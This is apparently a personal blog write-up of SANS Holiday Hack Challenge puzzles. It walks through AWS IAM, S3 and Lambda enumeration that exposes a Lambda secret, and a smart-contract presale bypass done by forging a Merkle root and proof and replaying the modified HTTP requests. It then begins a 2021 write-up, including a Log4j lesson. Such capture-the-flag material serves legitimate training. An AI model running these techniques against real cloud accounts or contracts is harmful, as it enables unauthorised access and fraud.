elf@80c2de61d99b:~$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "lambda:ListFunctions",
                        "lambda:GetFunctionUrlConfig"
                    ],
                    "Resource": "*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetUserPolicy",
                        "iam:ListUserPolicies",
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": "arn:aws:iam::602123424321:user/${aws:username}"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion"
                    ],
                    "Resource": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
                },
                {
                    "Effect": "Deny",
                    "Principal": "*",
                    "Action": [
                        "s3:GetObject",
                        "lambda:Invoke*"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": false,
        "CreateDate": "2022-06-21 22:02:30+00:00"
    }
}

Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user.
The aws iam command to list user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-attached-user-policies.

elf@80c2de61d99b:~$ aws iam list-user-policies --user-name haug
{
    "PolicyNames": [
        "S3Perms"
    ],
    "IsTruncated": false
}

Now, use the AWS CLI to get the only inline policy for your user.
The aws iam command to get a user policy can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

elf@80c2de61d99b:~$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
    "UserPolicy": {
        "UserName": "haug",
        "PolicyName": "S3Perms",
        "PolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:ListObjects"
                    ],
                    "Resource": [
                        "arn:aws:s3:::smogmachines3",
                        "arn:aws:s3:::smogmachines3/*"
                    ]
                }
            ]
        }
    },
    "IsTruncated": false
}

The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects.
List those objects!
The aws s3api command to list objects in an s3 bucket can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html

We know from our previous command that the S3 bucket is named smogmachines3.

elf@80c2de61d99b:~$ aws s3api list-objects --bucket smogmachines3
{
    "IsTruncated": false,
    "Marker": "",
    "Contents": [
        {
            "Key": "coal-fired-power-station.jpg",
            "LastModified": "2022-09-23 20:40:44+00:00",
            "ETag": "\"1c70c98bebaf3cff781a8fd3141c2945\"",
            "Size": 59312,
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "grinchum",
                "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
            }
        },
        {
            "Key": "industry-smog.png",
            "LastModified": "2022-09-23 20:40:47+00:00",
            "ETag": "\"c0abe5cb56b7a33d39e17f430755e615\"",
            "Size": 272528,
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "grinchum",
                "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
            }
        },
        {
            "Key": "pollution-smoke.jpg",
            "LastModified": "2022-09-23 20:40:43+00:00",
            "ETag": "\"465b675c70d73027e13ffaec1a38beec\"",
            "Size": 33064,
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "grinchum",
                "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
            }
        },
        {
            "Key": "pollution.jpg",
            "LastModified": "2022-09-23 20:40:45+00:00",
            "ETag": "\"d40d1db228c9a9b544b4c552df712478\"",
            "Size": 81775,
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "grinchum",
                "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
            }
        },
        {
            "Key": "power-station-smoke.jpg",
            "LastModified": "2022-09-23 20:40:48+00:00",
            "ETag": "\"2d7a8c8b8f5786103769e98afacf57de\"",
            "Size": 45264,
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "grinchum",
                "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
            }
        },
        {
            "Key": "smog-power-station.jpg",
            "LastModified": "2022-09-23 20:40:46+00:00",
            "ETag": "\"0e69b8d53d97db0db9f7de8663e9ec09\"",
            "Size": 32498,
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "grinchum",
                "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
            }
                    },
        {
            "Key": "smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py",
            "LastModified": "2022-09-26 16:31:33+00:00",
            "ETag": "\"fd5d6ab630691dfe56a3fc2fcfb68763\"",
            "Size": 5823,
            "StorageClass": "STANDARD",
            "Owner": {
                "DisplayName": "grinchum",
                "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
            }
        }
    ],
    "Name": "smogmachines3",
    "Prefix": "",
    "MaxKeys": 1000,
    "EncodingType": "url"
}

The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions.
The aws lambda command to list functions can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html

elf@80c2de61d99b:~$ aws lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "smogmachine_lambda",
            "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",
            "Handler": "handler.lambda_handler",
            "CodeSize": 2126,
            "Description": "",
            "Timeout": 600,
            "MemorySize": 256,
            "LastModified": "2022-09-07T19:28:23.634+0000",
            "CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-8c80a9cb8b3fa5505"
                ],
                "SecurityGroupIds": [
                    "sg-b51a01f5b4711c95c"
                ],
                "VpcId": "vpc-85ea8596648f35e00"
            },
            "Environment": {
                "Variables": {
                    "LAMBDASECRET": "975ceab170d61c75",
                    "LOCALMNTPOINT": "/mnt/smogmachine_files"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e",
            "FileSystemConfigs": [
                {
                    "Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2",
                    "LocalMountPath": "/mnt/smogmachine_files"
                }
            ],
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            }
        }
    ]
}

Lambda functions can have public URLs from which they are directly accessible.
Use the AWS CLI to get the configuration containing the public URL of the Lambda function.
The aws lambda command to get the function URL config can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html

We know from our previous command that the lambda function is named smogmachine_lambda.

elf@80c2de61d99b:~$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
    "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
    "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
    "AuthType": "AWS_IAM",
    "Cors": {
        "AllowCredentials": false,
        "AllowHeaders": [],
        "AllowMethods": [
            "GET",
            "POST"
        ],
        "AllowOrigins": [
            "*"
        ],
        "ExposeHeaders": [],
        "MaxAge": 0
    },
    "CreationTime": "2022-09-07T19:28:23.808713Z",
    "LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}

Great, you did it all - thank you!

This gives us our fourth ring, the Cloud Ring:

Sulfrod says

Ha! Now I have the ring!

This computer stuff sure is easy if you just make someone do it for you.

Wait.. the computer gave you the ring? Gah, whatever.

This never happened, got it? Now beat it, nerd!

We go back our way only to find a distraught Grinchum:

Grinchum says

🥺 Four Preciouses - lost!

😫 Noooo... grinchum..grinchum

😐 ..... naggy human doesn't only want coinses and hatses.

...What... 🤨 has it got...

😠 in its silly, little, badges!?

😧 Stole them... 😠 You STOLE them!

😡 Raaaargh!! We will make sure naggy human never takes our last Precious!

Recover the Burning Ring of Fire

Buy a Hat

Down and down we go, where our mine canary can no longer breathe, until we meet Wombley Cube:

Wombley Cube says

Hey there! I'm Wombley Cube. It's so nice to see a friendly face.

What's an elf doing all the way down here with all these sporcs, you ask?

I'm selling snazzy, fancy-pants hats! You can buy them with Kringlecoin.

The reason I set up shop here is to gather intel on that shady Luigi.

I'm a member of the STINC: Santa's Team of Intelligent Naughty Catchers.

He and his gang are up to no good, I'm sure of it. We've got a real Code Brown here.

Purchase a hat so we look inconspicuous, and I'll clue you in on what we think they're scheming.

Of course, have a look at my inventory!

Oh, and if you haven't noticed, I've slipped hints for defeating these Sporcs around the tunnels!

Keep your eyes open, and you'll find all five of them. Wait, maybe it's six?

An undercover elf among the Sporcs! The hints he talks about are chests lying around the tunnels, but most of them only contain KringleCoins. Luckily for us, we can use those to buy a hat from Wombley.

We click on his hat-vending machine, and settle on this fine gray cowboy hat:

We go to a KTC (KringleCoin Teller Machine) and pre-approve our 10 KringleCoin transaction:

We now go back to the hat-vending machine to claim our hat:

I can now wear my cool hat everywhere:

Blockchain Divination

Wombley Cube says

Nice hat! I think Ed Skoudis would say the same. It looks great on you.

So, here's what we've uncovered so far. Keep this confidential, ok?

Earlier, I overheard that disgruntled customer in the office saying he wanted in on the "rug pull".

If our suspicions are correct, that's why the sporcs want an invite to the presale so badly.

Once the "Bored Sporc Rowboat Society" NFTs officially go on sale, the sporcs will upsell them.

After most of the NFTs are purchased by unwitting victims, the Sporcs are going to take the money and abandon the project.

Mission #1 is to find a way to get on that presale list to confirm our suspicions and thwart their dastardly scheme!

We also think there's a Ring hidden there, so drop Mission #2 on them and rescue that ring!

Thank you for your business, dear customer!

The Sporcs are running an NFT scam, schocking. Anyway, we're asked to find the address of the KringleCoin smart contract on the blockchain.

The Blockchain Explorer can be used to analyze the different blocks of the blockchain. For example, we can look at block #76303, which is the block with my transaction to buy a hat:

Let's look at the first block on the blockchain:

The address of the KringleCoin contract is 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554.

Exploit a Smart Contract

Here's the big one, we must now find a way to get on the presale list by exploiting a vulnerability in the Bored Sporc Rowboat Society smart contract.

By taking a look at the BSRC website, we learn more about the pre-sale list:

We are currently in "pre-sale" mode, which means that the only folks who can buy are our best buds who made it on the list (well, actually, the Merkle Tree).

So the pre-sale list is stored in the form of a Merkle tree. Now I don't know squat about smart contracts or Merkle tree. Luckily for us, Prof. Qwerty Petabyte is back with a KringleCon talk on the subject. There's also a new repository on their Github profile, which should help any Merkle tree shenanigans we'll get into.

I recommend listening to the talk and reading the repository's README as well as the Wikipedia article on Merkle trees to fully understand how they work.

Long story short, people on the BSRS pre-sale list are given proof values that they can send to the web site along with their wallet address. The smart contract will compute the intermediary values until it gets to the root value, and then compare it to the root value it has stored...

...or does it? In Prof. Petabyte's README, we can read:

The only value the NFT producer needs to keep in their blockchain code is the root value itself! Because keeping anything stored on the blockchain is expensive, this is a huge benefit! Of course, the root mustn't be able to be altered, which is why keeping it IN the smart contract on the blockchain is what smart developers do.

Maybe the BSRS creators made a mistake and did not store the root on the blockchain? If we use the Blockchain Explorer, we can see that block #2 contains the contract tied to the BSRS NFT:

We can get the Solidity code of the BSRS NFT contract directly from the Blockchain Explorer. You can download it here.

By looking around, we find the verify function:

function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
    bytes32 computedHash = leaf;
    for (uint i = 0; i < proof.length; i++) {
      bytes32 proofElement = proof[i];
      if (computedHash <= proofElement) {
        computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
      } else {
        computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
      }
    }
    return computedHash == _root;
}

It looks like the verify function takes a _root parameter. It sure does seem that the root value is not stored on the blockchain. This can be confirmed by using the pre-sale form. This form loads a JavaScript file:

function do_presale(){
    if(!guid){
        alert("You need to enter this site from the terminal at the North Pole, not directly. If are doing this directly, you risk not getting credit for completing the challenge.");
    } else {
        var resp = document.getElementById("response");
        var ovr = document.getElementById('overlay');
        resp.innerHTML = "";
        var cb = document.getElementById("validate").checked;
        var val = 'false'
        if(cb){
            val = 'true'
        } else {
            ovr.style.display = 'block';
            in_trans = true;
        };
        var address = document.getElementById("wa").value;
        var proof = document.getElementById('proof').value;
        var root = '0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1';
        var xhr = new XMLHttpRequest();

        xhr.open('Post', 'cgi-bin/presale', true);
        xhr.setRequestHeader('Content-Type', 'application/json');
        xhr.onreadystatechange = function(){
            if(xhr.readyState === 4){
                var jsonResponse = JSON.parse(xhr.response);
                ovr.style.display = 'none';
                in_trans = false;
                resp.innerHTML = jsonResponse.Response;
            };
        };
        xhr.send(JSON.stringify({"WalletID": address, "Root": root, "Proof": proof, "Validate": val, "Session": guid}));
    };
}

They sure messed up. We can now build our own Merkle tree with our wallet address, compute our proof and root values, and pretend we're on the pre-sale list. This is where Prof. Petabyte's repository will come useful.

We clone the repo, create a venv, and install the requirements:

$ git clone https://github.com/QPetabyte/Merkle_Trees
$ python3 -m venv ~/venv/merkle
$ source ~/venv/merkle/bin/activate
$ pip3 install wheel
$ pip3 install -r ./Merkle_Trees/requirements.txt

Now, we can edit the file to put build our Merkle tree with our wallet address. We just modify the allowlist variable:

allowlist = ['0x129c7E7e786120E3DCD29D4c2ad0d0001616fad2','0x0000000000000000000000000000000000000000']

Now, let's run the script:

$ python3 merkle_tree.py
Root: 0x5fb0f1ec0a42dc34152e3937c295c5e2ad1e105ce5bef576a33d47c3bbe3f42e
Proof: ['0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a']

We can now pretend to be on the pre-sale list. We use the pre-sale verification form, and intercept it using Burp to modify the value of the root parameter:

POST /cgi-bin/presale HTTP/1.1
Host: boredsporcrowboatsociety.com
Cookie: GCLB="411e2170d1ac26e8"
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 277
Origin: https://boredsporcrowboatsociety.com
Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=useless&id=0a6556c7-ff84-410c-b1db-59fb1bec0928&area=level5&location=14,15&tokens=
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"WalletID":"0x129c7E7e786120E3DCD29D4c2ad0d0001616fad2","Root":"0x5fb0f1ec0a42dc34152e3937c295c5e2ad1e105ce5bef576a33d47c3bbe3f42e","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"true","Session":"0a6556c7-ff84-410c-b1db-59fb1bec0928"}

HTTP/1.1 200 OK
Server: nginx/1.23.2
Date: Tue, 20 Dec 2022 15:29:41 GMT
Content-Type: application/json
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{"Response": "You're on the list and good to go! Now... BUY A SPORC!"}

Nice! The contract believes we're on the list. Now we can buy a Sporc NFT by sending 100 KC to the SBRS creators' wallet:

Now that we sent 100 KC, let's get our BSRS NFT using the previous form:

POST /cgi-bin/presale HTTP/1.1
Host: boredsporcrowboatsociety.com
Cookie: GCLB="411e2170d1ac26e8"
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 278
Origin: https://boredsporcrowboatsociety.com
Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=useless&id=0a6556c7-ff84-410c-b1db-59fb1bec0928&area=level5&location=14,15&tokens=
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"WalletID":"0x129c7E7e786120E3DCD29D4c2ad0d0001616fad2","Root":"0x5fb0f1ec0a42dc34152e3937c295c5e2ad1e105ce5bef576a33d47c3bbe3f42e","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"false","Session":"0a6556c7-ff84-410c-b1db-59fb1bec0928"}

HTTP/1.1 200 OK
Server: nginx/1.23.2
Date: Tue, 20 Dec 2022 15:34:11 GMT
Content-Type: application/json
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{"Response": "Success! You are now the proud owner of BSRS Token #000272. You can find more information at https://boredsporcrowboatsociety.com/TOKENS/BSRS272, or check it out in the gallery!<br>Transaction: 0xe1351d421455dd4ebb5712194c8f14e0b2c6e1680f2b7f770eb553393d202c89, Block: 76995<br><br>Remember: Just like we planned, tell everyone you know to <u><em>BUY A BoredSporc</em></u>.<br>When general sales start, and the humans start buying them up, the prices will skyrocket, and we all sell at once!<br><br>The market will tank, but we'll all be rich!!!"}

Hurray, I now have the BSRS NFT #272. Here's how it looks like:

It's... yeah. Anyway, NFTs and cryptocoins are scams, the only thing we are interested in is finding our rings.

And here it is, our fifth and final ring, the Burning Ring of Fire:

Wombley Cube says

You've done your duty, agent.

Excellent work, especially on Mission #2! I'll log this entry back at STINC HQ.

Keep doing work like this, and you'll be sitting on the STINC throne, leading the agency someday.

Nobody will know of the job you did here today, but the STINC thanks you.

I'm just being dramatic, everyone's gonna know how awesome you are!

We can see Grinchum, but he looks... conflicted:

Grinchum says

😠 We wants them... we needs them... Must.. have.. the Preciouses.

They stole them from us, sneaky little humanses.

🙂 No, not the humanses, they're my friends.

😏 You don't have any friends. NOBODY likes YOU. You're a liar, and a thief, and a.... grriiiiiiinch.

😢 Go away... we don't need you anymore. The humanses protect us now.

😠 Go away? I protected us. The preciouses are safe because of ME!

🙂 Leave now, and never.. come back. 😃 Leave now, and never.. come back!

😁 LEAVE NOW, AND NEVER.. COME BACK!😬

Friendly human, please go to jolly human's castle! Go on, we will meet you there!

Conclusion

With the five golden rings safely recovered, we can finally enter Santa's castle:

Santa says

Congratulations! You have foiled Grinchum's foul plan and recovered the Golden Rings!

And by the magic of the rings, Grinchum has been restored back to his true, merry self: Smilegol!

You see, all Flobbits are drawn to the Rings, but somehow, Smilegol was able to snatch them from my castle.

To anyone but me, their allure becomes irresistable the more Rings someone possesses.

That allure eventually tarnishes the holder's Holiday Spirit, which is about giving, not possesing.

That's exactly what happened to Smilegol; that selfishness morphed him into Grinchum.

But thanks to you, Grinchum is no more, and the holiday season is saved!

Ho ho ho, happy holidays!

Next to Santa, we can see our new Flobbit friend, Smilegol:

Smilegol says

I must give you my most thankful of thanks, and most sorry of sorries.

I'm not sure what happened, but I just couldn't resist the Rings' call.

But once you returned the Rings to Santa, I was no longer so spellbound.

I could think clearly again, so I shouted off that awful persona.

And that grouchy Grinchum was gone for good. Now, I can be me again, just in time for gift giving.

This is a lesson I won't soon forget, and I certainly won't forget you.

I wish you smooth sailing on wherever your next voyage takes you!

Oh dear Flobbits, I don't know half of as well as I should like, and I like less than half of you half as well as you deserve.

Once again, thanks to the SANS team for this amazing Christmas Challenge! Exploiting the CI/CD vulnerability is a great exercise for real world engagement.

See you next year!

SANS Christmas Challenge 2021

2022-01-04T00:00:00+01:00

Jingle shell, jingle shell, jingle shell rock

Jingle shells swing and jingle shells ring

Pwnin' and poppin' up boxes is fun

Now the jingle hop has begun

Here's my write-up for the 2021 SANS Christmas Challenge.

Table of contents

Introduction
Objective 1: KringleCon Orientation
Objective 2:
Objective 3:
- Greasy Gopherguts's Cranberry Pi Challenge
- Thaw Frost Tower's Entrance
Objective 4:
- Noel Boetie's Cranberry Pi Challenge
- Slot Machine Investigation
Objective 5:
- Jewel Loggins's Cranberry Pi Challenge
- Strange USB Device
Objective 6:
- Chimney Scissorsticks's Cranberry Pi Challenge
- Shellcode Primer
Objective 7: Printer Exploitation
Objective 8:
- Eve Snowshoes's Cranberry Pi Challenge
- Kerberoasting on an Open Fire
Objective 9:
- Fitzy Shortstack's Cranberry Pi Challenge
- Splunk!
  - Task 1
  - Task 2
  - Task 3
  - Task 4
  - Task 5
  - Task 6
  - Task 7
  - Task 8
Objective 10:
- Noxious O. D'or's Cranberry Pi Challenge
- Now Hiring!
Objective 11:
- Tinsel Upatree's Cranberry Pi Challenge
- Customer Complaint Analysis
Objective 12:
- Ribb Bonbowford's Cranberry Pi Challenge
  - Level 1
  - Level 2
  - Level 3
  - Level 4
  - Level 5
  - Level 6
  - Level 7
  - Level 8
  - Level 9
  - Level 10
- Frost Tower Website Checkup
Objective 13:
- Grody Goiterson's Cranberry Pi Challenge
- FPGA Programming
Conclusion
Answer to the questions

Introduction

As always, Santa is organizing KringleCon at his castle. However, a competing conference seems to be taking place right next to KringleCon. Indeed, Jack Frost of all people is organizing FrostFest in his Frost Tower just besides Santa's castle. I'm sure he's up to no good...

Let's see what he's planning.

Here's our list of objectives:

Get your bearings at KringleCon.
Help Tangle Coalbox find a wayward elf in Santa's courtyard.
Turn up the heat to defrost the entrance to Frost Tower.
Test the security of Jack Frost's slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element.
Assist the elves in reverse engineering the strange USB device.
Complete the Shellcode Primer in Jack's office. According to the last challenge, what is the secret to KringleCon success? "All of our speakers and organizers, providing the gift of ____, free to the community."
Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)?
Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal.
Help Angel Candysalt solve the Splunk challenge in Santa's great hall. Fitzy Shortstack is in Santa's lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?
What is the secret access key for the Jack Frost Tower job applications server?
A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces.
Investigate Frost Tower's website for security issues. This source code will be useful in your analysis. In Jack Frost's TODO list, what job position does Jack plan to offer Santa?
Write your first FPGA program to make a doll sing.

Objective 1: KringleCon Orientation

This objective is just getting your bearings at KringleCon, but as you may tell from my past blog posts, I'm kind of a regular. But it allows newcomers to understand how everything works. Anyway, let's talk to Jingle Ringford:

Jingle Ringford says

Welcome to the North Pole, KringleCon, and the 2021 SANS Holiday Hack Challenge! I’m Jingle Ringford, one of Santa’s elves.

Santa asked me to come here and give you a short orientation to this festive event.

Before you move forward through the gate, I’ll ask you to accomplish a few simple tasks.

First things first, here's your badge! It's that wrapped present in the middle of your avatar.

We now have a badge around our neck.

Jingle Ringford says

Great - now you're official!

Click on the badge on your avatar 🎁. That’s where you will see your Objectives, Hints, and gathered Items for the Holiday Hack Challenge.

We’ve also got handy links to the KringleCon talks and more there for you!

Next, click on that USB wifi adapter - just in case you need it later.

We click on the wifi adapter that is lying on the floor:

Jingle Ringford says

Fantastic!

OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.

We click on the Cranberry Pi terminal next to Jingle Ringford:

Enter the answer here

>

______

Welcome to the first terminal challenge!

This one is intentionally simple. All we need you to do is:

- Click the upper pane of this terminal
- Type answer and press Enter

elf@24e67a8a3d52:~$

We just do as we're told: we click the upper pane, type answer, press Enter, and we're done!

Jingle Ringford says

Great! Your orientation is now complete! You can enter through the gate now. Have FUN!!!

Objective 2:

We arrive at the North Pole! There's Santa's castle, where KringleCon is taking place, and right next to it we see Jack Frost and his Frost Tower, where FrostFest is. Let's talk to Santa:

Santa says

Ho ho ho! I'm Santa Claus!

Welcome to the North Pole and KringleCon IV: Calling Birds!

I’d like to introduce you to the four birds here, each of whom is calling.

We're so glad to have you here to celebrate the holidays - and practice some important skills.

What's that? You've heard of another conference up at the North Pole?

Well, I'm afraid you'll have to ask Jack Frost about that.

To be honest, I'm not quite sure what his intentions are, but I am keeping an eye out...

Anyway, enjoy your time with the SANS Holiday Hack Challenge and KringleCon!

Right next to him are four calling birds:

Yeller, Seller, Quacker, and Dealer say

Yeller: HEEEEEEY YOU!!!

Seller: Your car's warranty is about to expire!

Quacker: QUACK!

Dealer: Ante up!

Let's see what Jack Frost, aka Jerky McJerkface, has to say:

Jack Frost says

Welcome to the North Pole - the Frostiest Place on Earth™!

Last year, Santa somehow foiled my plot.

So this year, I've decided to beat Santa at his own game – I’m gonna take over the Holiday Season from the old man and dominate it myself.

I've built Frost Tower, the epicenter of Frostiness at the North Pole. Believe me, it's the BIGGEST North Pole tower the world has EVER seen! So much better than that lame castle next door.

And, quite frankly, our FrostFest conference is going to be the GREATEST con in the history of cons.

As for FrostFest, we honor all badges for entry, including those from the lame conference next door.

Oh, and make sure you visit the gift shop and buy some SWAG on your way out.

Everybody says it's the best SWAG you'll ever find! People love our swag!

Piney Sappington's Cranberry Pi Challenge

HELP! That wily Jack Frost modified one of our naughty/nice records, and right
before Christmas! Can you help us figure out which one? We've installed exiftool
for your convenience!

Filename (including .docx extension) >

elf@ba19bc21b7b1:~$

Ok, we're told to find which file was modified by Jack Frost. And exiftool is installed, this will be helpful.

Let's take a look at a file:

elf@ba19bc21b7b1:~$ ls
2021-12-01.docx  2021-12-06.docx  2021-12-11.docx  2021-12-16.docx  2021-12-21.docx
2021-12-02.docx  2021-12-07.docx  2021-12-12.docx  2021-12-17.docx  2021-12-22.docx
2021-12-03.docx  2021-12-08.docx  2021-12-13.docx  2021-12-18.docx  2021-12-23.docx
2021-12-04.docx  2021-12-09.docx  2021-12-14.docx  2021-12-19.docx  2021-12-24.docx
2021-12-05.docx  2021-12-10.docx  2021-12-15.docx  2021-12-20.docx  2021-12-25.docx
elf@ba19bc21b7b1:~$ exiftool 2021-12-01.docx
ExifTool Version Number         : 12.16
File Name                       : 2021-12-01.docx
Directory                       : .
File Size                       : 13 KiB
File Modification Date/Time     : 2021:11:23 15:48:01+00:00
File Access Date/Time           : 2021:11:23 15:48:01+00:00
File Inode Change Date/Time     : 2021:12:08 04:08:22+00:00
File Permissions                : rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingm
l.document
Zip Required Version            : 20
Zip Bit Flag                    : 0
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x6cd2a4df
Zip Compressed Size             : 340
Zip Uncompressed Size           : 1312
Zip File Name                   : [Content_Types].xml
Template                        : Normal.dotm
Total Edit Time                 : 31 minutes
Pages                           : 1
Words                           : 5
Characters                      : 31
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 1
Paragraphs                      : 1
Scale Crop                      : No
Company                         :
Links Up To Date                : No
Characters With Spaces          : 35
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 16.0000
Title                           :
Subject                         :
Creator                         : Santa Claus
Keywords                        :
Description                     :
Last Modified By                : Santa Claus
Revision Number                 : 3
Create Date                     : 2021:12:01 00:00:00Z
Modify Date                     : 2021:12:01 00:00:00Z

Okay, the name of the last person who modified a file is in the output of exiftool. Let's whip up a dirty one-liner to find which file was modified by Jack Frost:

elf@ba19bc21b7b1:~$ ls -1 *.docx | while read f; do exiftool $f | grep -q -iE 'Last Modified By\s+ : .*Frost' && echo $f; done
2021-12-21.docx

Let's break it down:

ls -1 *.docx: this creates a list of every .docx file in the folder, and outputs one file by line.
while read f; do ...; done: this loops over every file, storing the name in a variable called f.
exiftool $f: well this just calls exiftool on our file.
grep -q -iE 'Last Modified By\s+ : .*Frost' && echo $f: this is the clever part. The grep -q -iE 'Last Modified By\s+ : .*Frost' part will search Jack's name in the Last Modified By field of the output of exiftool. It does so in a case-insensitive way, and it does so quietly. This means that grep will not output anything, we just rely on the return code to see if we have a match or not. That's what the && echo $f does. It will print out the name of the file only if we had a match with grep.

Let's see if we have the right solution:

Filename (including .docx extension) > 2021-12-21.docx
Your answer: 2021-12-21.docx

Checking........
Wow, that's right! We couldn't have done it without your help! Congratulations

Bonus! Log4Jack

Aaaah, Log4Shell. This vulnerability made a lot of noise just before the holidays, and the SANS team quickly created two challenges around it for our pleasure.

Bow Ninecandle's blue team Cranberry Pi Challenge

This Cranberry Pi challenge will teach us what the vulnerabilities affecting Log4j are, how to exploit them, how to patch them, how to scan for them in source code, and how to search for exploit attempts in log files.

🎄🎄🎄 Prof. Petabyte here. In this lesson we'll look at the details around the recent Log4j

🎄🎄🎄 vulnerabilities using sample Java programs. We'll also look at tools for scanning

🎄🎄🎄 for vulnerable source code and identifying attacks using web server logs.

🎄🎄🎄 If you get stuck, run 'hint' for assitance.

In this lesson we'll look at Java source code to better understand the Log4j vulnerabilities described in CVE-2021-44228. You don't need to be a programmer to benefit from this lesson!

I have prepared several files for you to use in this lesson. Run the 'ls' command to see the files for this lesson.

elfu@af9129760395:~$ ls
log4j2-scan  logshell-search.sh  patched  vulnerable

First we'll look at the some Java source, including an example of a vulnerable Java program using the Log4j library.

Change to the vulnerable directory with the command 'cd vulnerable'

elfu@af9129760395:~$ cd vulnerable/

List the files in this directory. Run the 'ls' command.

elfu@af9129760395:~/vulnerable$ ls
DisplayFilev1.java  DisplayFilev2.java  log4j-api-2.14.1.jar  log4j-core-2.14.1.jar  startserver.sh  testfile.txt

